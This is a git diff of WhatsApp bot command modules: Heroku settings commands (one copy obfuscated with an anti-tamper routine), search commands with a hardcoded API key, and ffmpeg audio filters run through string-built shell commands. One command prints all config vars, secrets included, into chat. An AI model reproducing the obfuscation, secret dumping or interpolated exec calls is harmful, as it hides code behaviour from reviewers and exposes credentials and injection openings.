_0x2ce9fc(vr+'=\x20'+_0x4aa13d[vr]);}}catch(_0x13d485){_0x2ce9fc(_0xc9d09f(0x1ae)+_0x13d485);}}),adams({'nomCom':_0x2cf381(0x18d),'categorie':_0x2cf381(0x1c6),'description':_0x2cf381(0x188)},async(_0x20c0fc,_0x21dcce,_0x4ddcd7)=>{const _0xb18a95=_0x2cf381,{ms:_0x5f2fa3,repondre:_0x3e9d56,superUser:_0x2eab65,auteurMessage:_0x5db4c6}=_0x4ddcd7;if(!_0x2eab65){_0x3e9d56('command\x20reserved\x20for\x20bot\x20owner');return;};let _0x40730a=[{'nom':'AUTO_READ_STATUS','choix':['yes','no']},{'nom':_0xb18a95(0x1b3),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x182),'choix':['yes','no']},{'nom':_0xb18a95(0x1c5),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x1cb),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x17e),'choix':['1','2','3']}];function _0x46b434(_0x2a7b5a,_0x1792dc){const _0x524294=_0xb18a95;if(_0x2a7b5a[_0x524294(0x1ba)]<_0x1792dc[_0x524294(0x1ba)])return-0x1;if(_0x2a7b5a[_0x524294(0x1ba)]>_0x1792dc[_0x524294(0x1ba)])return 0x1;return 0x0;}_0x40730a['sort'](_0x46b434);let _0x9b282b=_0xb18a95(0x19a);for(v=0x0;v<_0x40730a['length'];v++){_0x9b282b+=v+0x1+_0xb18a95(0x185)+_0x40730a[v][_0xb18a95(0x1ba)]+'*\x0a';}_0x9b282b+=_0xb18a95(0x19d);let _0x4f5c13=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x9b282b},{'quoted':_0x5f2fa3});console[_0xb18a95(0x1a4)](_0x4f5c13);let _0x1b5321=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x264053=>_0x264053['message']['extendedTextMessage']&&_0x264053['message'][_0xb18a95(0x1b0)][_0xb18a95(0x17d)]['stanzaId']==_0x4f5c13['key']['id']&&_0x264053[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x264053[_0xb18a95(0x1b4)]['extendedTextMessage'][_0xb18a95(0x177)]<=_0x40730a[_0xb18a95(0x1ab)]}),_0x55093c=_0x1b5321['message'][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1,{nom:_0x4ebc57,choix:_0x3f2d7c}=_0x40730a[_0x55093c],_0x1de135=_0xb18a95(0x179);_0x1de135+='*Name*\x20:'+_0x4ebc57+'\x0a',_0x1de135+=_0xb18a95(0x1a8)+getDescriptionFromEnv(_0x4ebc57)+'\x0a\x0a',_0x1de135+='┌──────\x20⋆⋅☆⋅⋆\x20──────┐\x0a\x0a';for(i=0x0;i<_0x3f2d7c[_0xb18a95(0x1ab)];i++){_0x1de135+='*\x20*'+(i+0x1)+_0xb18a95(0x198)+_0x3f2d7c[i]+'\x0a';}_0x1de135+=_0xb18a95(0x18c);let _0x1e2745=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x1de135},{'quoted':_0x1b5321}),_0x31adfe=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x49d419=>_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)]&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x17d)][_0xb18a95(0x190)]==_0x1e2745[_0xb18a95(0x1b6)]['id']&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x49d419['message'][_0xb18a95(0x1b0)]['text']<=_0x3f2d7c['length']}),_0x516d56=_0x31adfe[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1;if(s[_0xb18a95(0x1c0)]=='no')try{const _0x50b364=dotenv[_0xb18a95(0x18f)](fs[_0xb18a95(0x189)]('set.env',{'encoding':_0xb18a95(0x191)}));_0x50b364[_0x4ebc57]=_0x3f2d7c[_0x516d56];const _0x11753b=Object[_0xb18a95(0x1b2)](_0x50b364)['map'](_0x5ea4c4=>_0x5ea4c4+'='+_0x50b364[_0x5ea4c4])['join']('\x0a');fs[_0xb18a95(0x1a2)](_0xb18a95(0x17f),_0x11753b),_0x3e9d56(_0xb18a95(0x1be));const {exec:_0x4f66a0}=require(_0xb18a95(0x1b7));_0x4f66a0(_0xb18a95(0x19f));}catch(_0x5dda05){console[_0xb18a95(0x1b5)](_0x5dda05),_0x3e9d56('Error');}else{if(s['HEROKU_APP_NAME']==null||s[_0xb18a95(0x19c)]==null){_0x3e9d56(_0xb18a95(0x1bf));return;};const _0x5e9d97=require('heroku-client'),_0xf9f99f=new _0x5e9d97({'token':s[_0xb18a95(0x19c)]});let _0x1dff2a=_0xb18a95(0x196)+s[_0xb18a95(0x1af)];await _0xf9f99f[_0xb18a95(0x193)](_0x1dff2a+_0xb18a95(0x1ad),{'body':{[_0x4ebc57]:_0x3f2d7c[_0x516d56]}}),await _0x3e9d56(_0xb18a95(0x18b));}});function changevars(_0x392d30,_0x5ddc3d){const _0x52b59d=_0x2cf381,_0x37c354=(function(){let _0x28c539=!![];return function(_0x35c50c,_0x195e11){const _0x47cdc5=_0x28c539?function(){if(_0x195e11){const _0x2ec45b=_0x195e11['apply'](_0x35c50c,arguments);return _0x195e11=null,_0x2ec45b;}}:function(){};return _0x28c539=![],_0x47cdc5;};}()),_0x509e52=_0x37c354(this,function(){const _0x2259ba=_0x5ac8;return _0x509e52[_0x2259ba(0x1a3)]()[_0x2259ba(0x18e)](_0x2259ba(0x19e))['toString']()[_0x2259ba(0x1c1)](_0x509e52)['search'](_0x2259ba(0x19e));});_0x509e52(),adams({'nomCom':_0x392d30,'categorie':_0x52b59d(0x1c6)},async(_0x510a4d,_0x1b363c,_0x32a845)=>{const _0x2aa192=_0x52b59d,{arg:_0x1162a2,superUser:_0x208224,repondre:_0x48da79}=_0x32a845;if(!_0x208224){_0x48da79(_0x2aa192(0x1bc));return;};if(!_0x1162a2[0x0]){_0x48da79(getDescriptionFromEnv(_0x5ddc3d));return;};if(s['HEROKU']=='no')try{const _0x12db67=dotenv['parse'](fs['readFileSync'](_0x2aa192(0x17f),{'encoding':_0x2aa192(0x191)}));_0x12db67[_0x5ddc3d]=_0x1162a2[_0x2aa192(0x17a)]('\x20');const _0x3f191f=Object[_0x2aa192(0x1b2)](_0x12db67)[_0x2aa192(0x1c9)](_0x17d304=>_0x17d304+'='+_0x12db67[_0x17d304])['join']('\x0a');fs['writeFileSync'](_0x2aa192(0x17f),_0x3f191f),_0x48da79(_0x2aa192(0x1be));const {exec:_0x4fa49e}=require('child_process');_0x4fa49e(_0x2aa192(0x19f));}catch(_0x2830eb){console[_0x2aa192(0x1a4)](_0x2830eb),_0x48da79(_0x2aa192(0x1ae));}else{if(s[_0x2aa192(0x1af)]==null||s[_0x2aa192(0x19c)]==null){_0x48da79(_0x2aa192(0x1bf));return;};const _0x4e9f34=require(_0x2aa192(0x1c3)),_0x15a11c=new _0x4e9f34({'token':s[_0x2aa192(0x19c)]});let _0x3059d5='/apps/'+s[_0x2aa192(0x1af)];await _0x15a11c['patch'](_0x3059d5+_0x2aa192(0x1ad),{'body':{[_0x5ddc3d]:_0x1162a2[_0x2aa192(0x17a)]('\x20')}}),await _0x48da79(_0x2aa192(0x18b));}});};changevars(_0x2cf381(0x1a0),'PREFIX'),changevars('linkmenu',_0x2cf381(0x1c4)),changevars(_0x2cf381(0x178),_0x2cf381(0x18a)),changevars('botname',_0x2cf381(0x1a7));
+
+/**const {
+ adams
+} = require("../Ibrahim/adams");
+const s = require("../config");
+const fs = require('fs');
+const dotenv = require("dotenv");
+function getDescriptionFromEnv(_0x24f7af) {
+ filePath = './app.json';
+ const _0x4c6300 = fs.readFileSync(filePath, "utf-8");
+ const _0x4f2dfc = JSON.parse(_0x4c6300);
+ const _0x3b08a6 = _0x4f2dfc.env[_0x24f7af];
+ return _0x3b08a6 && _0
+ x3b08a6.description ? _0x3b08a6.description : "The environment variable description was not found.";
+}
+adams({
+ 'nomCom': "setvar",
+ 'categorie': "heroku",
+ 'description': "set a heroku var"
+}, async (_0x2023f8, _0x449747, _0x5c07a0) => {
+ const {
+ ms: _0x2791a3,
+ repondre: _0x1e059c,
+ superUser: _0xf264c9,
+ arg: _0x44e695
+ } = _0x5c07a0;
+ if (!_0xf264c9) {
+ _0x1e059c("only Mods can use this commande");
+ return;
+ }
+ ;
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x1e059c("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ if (!_0x44e695[0x0] || !_0x44e695.join('').split('=')) {
+ _0x1e059c("Bad format ; Exemple of using :\nsetvar OWNER_NAME=Ibrahim Adams");
+ return;
+ }
+ ;
+ const _0x1aca38 = _0x44e695.join(" ");
+ const _0x45f36d = require("heroku-client");
+ const _0x1c95a5 = new _0x45f36d({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0x273a62 = "/apps/" + s.HEROKU_APP_NAME;
+ await _0x1c95a5.patch(_0x273a62 + "/config-vars", {
+ 'body': {
+ [_0x1aca38.split('=')[0x0]]: _0x1aca38.split('=')[0x1]
+ }
+ });
+ await _0x1e059c("Heroku vars are rebooting , Redeploying....");
+});
+adams({
+ 'nomCom': "getallvar",
+ 'categorie': "heroku",
+ 'description': "get all heroku vars"
+}, async (_0x11487a, _0x3ebb5c, _0x482621) => {
+ const {
+ ms: _0xdcc0da,
+ repondre: _0x384994,
+ superUser: _0x51f7b4,
+ arg: _0x3a3bce
+ } = _0x482621;
+ if (!_0x51f7b4) {
+ _0x384994("only mods can use this commande");
+ return;
+ }
+ ;
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x384994("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ const _0x51bc18 = require("heroku-client");
+ const _0xdce404 = new _0x51bc18({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0xbd8a38 = '/apps/' + s.HEROKU_APP_NAME;
+ let _0x47049d = await _0xdce404.get(_0xbd8a38 + '/config-vars');
+ let _0xaaeb86 = "*Heroku Vars list *\n\n";
+ for (vr in _0x47049d) {
+ _0xaaeb86 += "🚘 *" + vr + "* " + "= " + _0x47049d[vr] + "\n";
+ }
+ _0x384994(_0xaaeb86);
+});
+adams({
+ 'nomCom': "getvar",
+ 'categorie': "heroku",
+ 'description': "get a heroku var"
+}, async (_0x4c604f, _0x38bdcd, _0x5f598) => {
+ const {
+ ms: _0x5d32f6,
+ repondre: _0x57426b,
+ superUser: _0x44ab9d,
+ arg: _0x2132ad
+ } = _0x5f598;
+ if (!_0x44ab9d) {
+ _0x57426b("Only Mods can use this command");
+ return;
+ }
+ ;
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x57426b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ if (!_0x2132ad[0x0]) {
+ _0x57426b("insert the variable name in capital letter");
+ return;
+ }
+ ;
+ try {
+ const _0x13a40b = require("heroku-client");
+ const _0x26609d = new _0x13a40b({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0x551c10 = "/apps/" + s.HEROKU_APP_NAME;
+ let _0x3c5941 = await _0x26609d.get(_0x551c10 + "/config-vars");
+ for (vr in _0x3c5941) {
+ if (_0x2132ad.join(" ") === vr) {
+ return _0x57426b(vr + "= " + _0x3c5941[vr]);
+ }
+ }
+ } catch (_0x4d48ad) {
+ _0x57426b("Error" + _0x4d48ad);
+ }
+});
+adams({
+ 'nomCom': "settings",
+ 'categorie': "Heroku",
+ 'description': "edit settings of the bot"
+}, async (_0x22a90b, _0x3a0b49, _0xb0bac1) => {
+ const {
+ ms: _0x1778e3,
+ repondre: _0x20e24a,
+ superUser: _0x1d63b6,
+ auteurMessage: _0x3dfda8
+ } = _0xb0bac1;
+ if (!_0x1d63b6) {
+ _0x20e24a("command reserved for bot owner");
+ return;
+ }
+ ;
+ let _0x3d9ece = [{
+ 'nom': "AUTO_READ_STATUS",
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': 'AUTO_DOWNLOAD_STATUS',
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': "PM_PERMIT",
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': 'PUBLIC_MODE',
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': "STARTING_BOT_MESSAGE",
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': "PRESENCE",
+ 'choix': ['1', '2', '3']
+ }];
+ function _0x46a4bd(_0x4eea55, _0x2c10b0) {
+ if (_0x4eea55.nom < _0x2c10b0.nom) {
+ return -0x1;
+ }
+ if (_0x4eea55.nom > _0x2c10b0.nom) {
+ return 0x1;
+ }
+ return 0x0;
+ }
+ _0x3d9ece.sort(_0x46a4bd);
+ let _0x19af99 = " *BMW VAR SETTINGS* \n\n";
+ for (v = 0x0; v < _0x3d9ece.length; v++) {
+ _0x19af99 += v + 0x1 + "- *" + _0x3d9ece[v].nom + "*\n";
+ }
+ _0x19af99 += "\nChoose a variable by replying its number";
+ let _0x4f6bef = await _0x3a0b49.sendMessage(_0x22a90b, {
+ 'text': _0x19af99
+ }, {
+ 'quoted': _0x1778e3
+ });
+ console.log(_0x4f6bef);
+ let _0x58a466 = await _0x3a0b49.awaitForMessage({
+ 'chatJid': _0x22a90b,
+ 'sender': _0x3dfda8,
+ 'timeout': 0xea60,
+ 'filter': _0x11b80a => _0x11b80a.message.extendedTextMessage && _0x11b80a.message.extendedTextMessage.contextInfo.stanzaId == _0x4f6bef.key.id && _0x11b80a.message.extendedTextMessage.text > 0x0 && _0x11b80a.message.extendedTextMessage.text <= _0x3d9ece.length
+ });
+ let _0x69d604 = _0x58a466.message.extendedTextMessage.text - 0x1;
+ let {
+ nom: _0x578334,
+ choix: _0x25f0c4
+ } = _0x3d9ece[_0x69d604];
+ let _0x258a95 = " *BMW VAR SETTINGS* \n\n";
+ _0x258a95 += "*Name* :" + _0x578334 + "\n";
+ _0x258a95 += "*Description* :" + getDescriptionFromEnv(_0x578334) + "\n\n";
+ _0x258a95 += "┌────── ⋆⋅☆⋅⋆ ──────┐\n\n";
+ for (i = 0x0; i < _0x25f0c4.length; i++) {
+ _0x258a95 += "* *" + (i + 0x1) + "* => " + _0x25f0c4[i] + "\n";
+ }
+ _0x258a95 += "\n└────── ⋆⋅☆⋅⋆ ──────┘\n\nPlease reply on message with the number corresponding to your choice";
+ let _0x5d441e = await _0x3a0b49.sendMessage(_0x22a90b, {
+ 'text': _0x258a95
+ }, {
+ 'quoted': _0x58a466
+ });
+ let _0x3e7e0b = await _0x3a0b49.awaitForMessage({
+ 'chatJid': _0x22a90b,
+ 'sender': _0x3dfda8,
+ 'timeout': 0xea60,
+ 'filter': _0x48d8f3 => _0x48d8f3.message.extendedTextMessage && _0x48d8f3.message.extendedTextMessage.contextInfo.stanzaId == _0x5d441e.key.id && _0x48d8f3.message.extendedTextMessage.text > 0x0 && _0x48d8f3.message.extendedTextMessage.text <= _0x25f0c4.length
+ });
+ let _0x49e163 = _0x3e7e0b.message.extendedTextMessage.text - 0x1;
+ if (s.HEROKU == 'no') {
+ try {
+ const _0x453ea5 = dotenv.parse(fs.readFileSync("set.env", {
+ 'encoding': "utf-8"
+ }));
+ _0x453ea5[_0x578334] = _0x25f0c4[_0x49e163];
+ const _0x41e94f = Object.keys(_0x453ea5).map(_0x2b690f => _0x2b690f + '=' + _0x453ea5[_0x2b690f]).join("\n");
+ fs.writeFileSync('set.env', _0x41e94f);
+ _0x20e24a("variable refresh\n restart in progress....");
+ const {
+ exec: _0x563f2e
+ } = require('child_process');
+ _0x563f2e("pm2 restart all");
+ } catch (_0x284a0c) {
+ console.error(_0x284a0c);
+ _0x20e24a("Error");
+ }
+ } else {
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x20e24a("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ const _0x16064c = require("heroku-client");
+ const _0x521885 = new _0x16064c({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0x16e01d = "/apps/" + s.HEROKU_APP_NAME;
+ await _0x521885.patch(_0x16e01d + "/config-vars", {
+ 'body': {
+ [_0x578334]: _0x25f0c4[_0x49e163]
+ }
+ });
+ await _0x20e24a("variable refresh, restart in progress....");
+ }
+});
+function changevars(_0xa41969, _0x294fac) {
+ const _0x4aa666 = function () {
+ let _0x51e0de = true;
+ return function (_0x2c9b6c, _0x4697d1) {
+ const _0x222c97 = _0x51e0de ? function () {
+ if (_0x4697d1) {
+ const _0x477879 = _0x4697d1.apply(_0x2c9b6c, arguments);
+ _0x4697d1 = null;
+ return _0x477879;
+ }
+ } : function () {};
+ _0x51e0de = false;
+ return _0x222c97;
+ };
+ }();
+ const _0x1c8bcf = _0x4aa666(this, function () {
+ return _0x1c8bcf.toString().search("(((.+)+)+)+$").toString().constructor(_0x1c8bcf).search("(((.+)+)+)+$");
+ });
+ _0x1c8bcf();
+ adams({
+ 'nomCom': _0xa41969,
+ 'categorie': 'Heroku'
+ }, async (_0x5b3184, _0x3c2192, _0x393619) => {
+ const {
+ arg: _0x3d776c,
+ superUser: _0x6330e9,
+ repondre: _0x3a1f2b
+ } = _0x393619;
+ if (!_0x6330e9) {
+ _0x3a1f2b("command reserved for bot owner");
+ return;
+ }
+ ;
+ if (!_0x3d776c[0x0]) {
+ _0x3a1f2b(getDescriptionFromEnv(_0x294fac));
+ return;
+ }
+ ;
+ if (s.HEROKU == 'no') {
+ try {
+ const _0x429fb4 = dotenv.parse(fs.readFileSync("set.env", {
+ 'encoding': 'utf-8'
+ }));
+ _0x429fb4[_0x294fac] = _0x3d776c.join(" ");
+ const _0x322480 = Object.keys(_0x429fb4).map(_0xbf932e => _0xbf932e + '=' + _0x429fb4[_0xbf932e]).join("\n");
+ fs.writeFileSync('set.env', _0x322480);
+ _0x3a1f2b("variable refresh\n restart in progress....");
+ const {
+ exec: _0x7de845
+ } = require("child_process");
+ _0x7de845("pm2 restart all");
+ } catch (_0x2781b7) {
+ console.log(_0x2781b7);
+ _0x3a1f2b('Error');
+ }
+ } else {
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x3a1f2b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ const _0x537e4b = require("heroku-client");
+ const _0x110661 = new _0x537e4b({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0xc67a29 = "/apps/" + s.HEROKU_APP_NAME;
+ await _0x110661.patch(_0xc67a29 + "/config-vars", {
+ 'body': {
+ [_0x294fac]: _0x3d776c.join(" ")
+ }
+ });
+ await _0x3a1f2b("variable refresh, restart in progress....");
+ }
+ });
+}
+;
+changevars("setprefix", "PREFIX");
+changevars("linkmenu", "BOT_MENU_LINKS");
+changevars("warncount", "WARN_COUNT");
+changevars("botname", "BOT_NAME");**/
diff --git a/scs/bmwi.js b/scs/bmwi.js
new file mode 100644
index 0000000..c03482b
--- /dev/null
+++ b/scs/bmwi.js
@@ -0,0 +1,215 @@
+
+const axios = require("axios");
+const {adams} = require("../Ibrahim/adams");
+const traduire = require("../Ibrahim/traduction");
+const {Sticker ,StickerTypes}= require('wa-sticker-formatter');
+
+adams({
+ nomCom: "randompic",
+ categorie: "Fun",
+ reaction: "📺"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const jsonURL = "https://api.jikan.moe/v4/random/anime"; // Remplacez par votre URL JSON
+
+ try {
+ const response = await axios.get(jsonURL);
+ const data = response.data.data;
+
+ const title = data.title;
+ const synopsis = data.synopsis;
+ const imageUrl = data.images.jpg.image_url; // Utilisez l'URL de l'image JPG
+ const episodes = data.episodes;
+ const status = data.status;
+
+ //const texttraduit = await traduire(synopsis,{ to: 'fr' })
+
+ const message = `📺 Titre: ${title}\n🎬 Épisodes: ${episodes}\n📡 Statut: ${status}\n📝 Synopsis: ${synopsis}\n🔗 URL: ${data.url}`;
+
+ // Envoyer l'image et les informations
+ zk.sendMessage(origineMessage, { image: { url: imageUrl }, caption: message }, { quoted: ms });
+ } catch (error) {
+ console.error('Error retrieving data from JSON :', error);
+ repondre('Error retrieving data from JSON.');
+ }
+});
+
+adams({
+ nomCom: "google2",
+ categorie: "Search"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre } = commandeOptions;
+
+ if (!arg[0] || arg === "") {
+ repondre("Give me a query.\n*Example: .google What is a bot.*");
+ return;
+ }
+
+ const google = require('google-it');
+ try {
+ const results = await google({ query: arg.join(" ") });
+ let msg = `Google search for : ${arg}\n\n`;
+
+ for (let result of results) {
+ msg += `➣ Title : ${result.title}\n`;
+ msg += `➣ Description : ${result.snippet}\n`;
+ msg += `➣ Link : ${result.link}\n\n────────────────────────\n\n`;
+ }
+
+ // const trdmsg = await traduire(msg,{to : 'fr'})
+ repondre(msg);
+ } catch (error) {
+ repondre("An error occurred during Google search.");
+ }
+});
+
+adams({
+ nomCom: "imdb2",
+ categorie: "Search"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre , ms } = commandeOptions;
+
+ if (!arg[0] || arg === "") {
+ repondre("give the name of a series or film.");
+ return;
+ }
+
+ try {
+
+ const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
+ const imdbData = response.data;
+
+ let imdbInfo = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n";
+ imdbInfo += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n";
+ imdbInfo += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n";
+ imdbInfo += "🎬Title : " + imdbData.Title + "\n";
+ imdbInfo += "📅year : " + imdbData.Year + "\n";
+ imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
+ imdbInfo += "📆Release : " + imdbData.Released + "\n";
+ imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
+ imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
+ imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
+ imdbInfo += "✍writers : " + imdbData.Writer + "\n";
+ imdbInfo += "👨actors : " + imdbData.Actors + "\n";
+ imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
+ imdbInfo += "🌐Language : " + imdbData.Language + "\n";
+ imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
+ imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
+ imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
+ imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
+ imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
+ imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
+
+ zk.sendMessage(dest, {
+ image: {
+ url: imdbData.Poster,
+ },
+ caption: imdbInfo,
+ }, {
+ quoted: ms,
+ });
+ } catch (error) {
+ repondre("An error occurred while searching IMDb.");
+ }
+});
+
+adams({
+ nomCom: "series",
+ categorie: "Search"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre , ms } = commandeOptions;
+
+ if (!arg[0] || arg === "") {
+ repondre("give the name of a series or film.");
+ return;
+ }
+
+ try {
+
+ const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
+ const imdbData = response.data;
+
+ let imdbInfo = "Tap on the link to join movie channel on telegram and download movies there : https://t.me/ibrahimtechai\n";
+ imdbInfo += " ``` BMW MD FILMS```\n";
+ imdbInfo += "*Made by Ibrahim Adams*\n";
+ imdbInfo += "🎬Title : " + imdbData.Title + "\n";
+ imdbInfo += "📅year : " + imdbData.Year + "\n";
+ imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
+ imdbInfo += "📆Release : " + imdbData.Released + "\n";
+ imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
+ imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
+ imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
+ imdbInfo += "✍writers : " + imdbData.Writer + "\n";
+ imdbInfo += "👨actors : " + imdbData.Actors + "\n";
+ imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
+ imdbInfo += "🌐Language : " + imdbData.Language + "\n";
+ imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
+ imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
+ imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
+ imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
+ imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
+ imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
+
+ zk.sendMessage(dest, {
+ image: {
+ url: imdbData.Poster,
+ },
+ caption: imdbInfo,
+ }, {
+ quoted: ms,
+ });
+ } catch (error) {
+ repondre("An error occurred while searching IMDb.");
+ }
+});
+
+adams({
+ nomCom: "emoji",
+ categorie: "Conversion"
+}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre,ms , nomAuteurMessage } = commandeOptions;
+
+ if (!arg[0] || arg.length !== 1) {
+ repondre("Incorrect use. Example: .emojimix 😀;🥰");
+ return;
+ }
+
+ // Divisez la chaîne en deux emojis en utilisant le point-virgule comme séparateur
+ const emojis = arg.join(' ').split(';');
+
+ if (emojis.length !== 2) {
+ repondre("Please specify two emojis using a ';' as a separator.");
+ return;
+ }
+
+ const emoji1 = emojis[0].trim();
+ const emoji2 = emojis[1].trim();
+
+ try {
+ const axios = require('axios');
+ const response = await axios.get(`https://levanter.onrender.com/emix?q=${emoji1}${emoji2}`);
+
+ if (response.data.status === true) {
+ // Si la requête a réussi, envoyez l'image résultante
+
+ let stickerMess = new Sticker(response.data.result, {
+ pack: nomAuteurMessage,
+ type: StickerTypes.CROPPED,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 70,
+ background: "transparent",
+ });
+ const stickerBuffer2 = await stickerMess.toBuffer();
+ zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms });
+
+ } else {
+ repondre("Unable to create emoji mix.");
+ }
+ } catch (error) {
+ repondre("An error occurred while creating the emoji mix." + error );
+ }
+});
+
diff --git a/scs/bmwj.js b/scs/bmwj.js
new file mode 100644
index 0000000..5fccde8
--- /dev/null
+++ b/scs/bmwj.js
@@ -0,0 +1,280 @@
+const {adams} = require('../Ibrahim/adams');
+const fs = require("fs");
+const { exec } = require("child_process");
+
+
+const filename = `${Math.random().toString(36)}`;
+
+adams (
+ {
+ nomCom : 'deep',
+ categorie : 'Audio-Edit',
+
+ }, async (dest , zk, commandeOptions) => {
+ const {ms , repondre,msgRepondu} = commandeOptions;
+
+ if (msgRepondu) {
+ if(msgRepondu.audioMessage) {
+
+ const media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
+
+ let set = "-af atempo=4/4,asetrate=44500*2/3";
+ let ran = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media);
+ if (err) return repondre("error during the procedure " + err );
+
+ let buff1 = fs.readFileSync(ran);
+
+ zk.sendMessage(
+ dest,
+ { audio: buff1, mimetype: "audio/mpeg" },
+ { quoted: ms }
+ );
+ fs.unlinkSync(ran);
+ });
+ } catch (e) {
+
+ repondre("error");
+ }
+
+ } else {
+ repondre('the command only works with audio messages')
+ }
+
+ } else {
+ repondre('Please mention an audio')
+ }
+ }
+);
+
+adams (
+ {
+ nomCom : 'bass',
+ categorie : 'Audio-Edit',
+
+ }, async (dest , zk, commandeOptions) => {
+ const {ms , repondre,msgRepondu} = commandeOptions;
+
+ if (msgRepondu) {
+ if(msgRepondu.audioMessage) {
+
+ const media2 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
+
+ let set2 = "-af equalizer=f=18:width_type=o:width=2:g=14";
+ let ran2 = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media2} ${set2} ${ran2}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media2);
+ if (err) return repondre("error during the procedure " + err );
+
+ let buff2 = fs.readFileSync(ran2);
+
+ zk.sendMessage(
+ dest,
+ { audio: buff2, mimetype: "audio/mpeg" },
+ { quoted: ms }
+ );
+ fs.unlinkSync(ran2);
+ });
+ } catch (e) {
+
+ repondre("error");
+ }
+
+ } else {
+ repondre('the command only works with audio messages')
+ }
+
+ } else {
+ repondre('Please mention an audio')
+ }
+ }
+);
+
+adams(
+ {
+ nomCom: 'reverse',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const media3 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let set3 = '-filter_complex "areverse"';
+ let ran3 = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media3} ${set3} ${ran3}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media3);
+ if (err) return repondre("error during the procedure" + err);
+
+ let buff3 = fs.readFileSync(ran3);
+
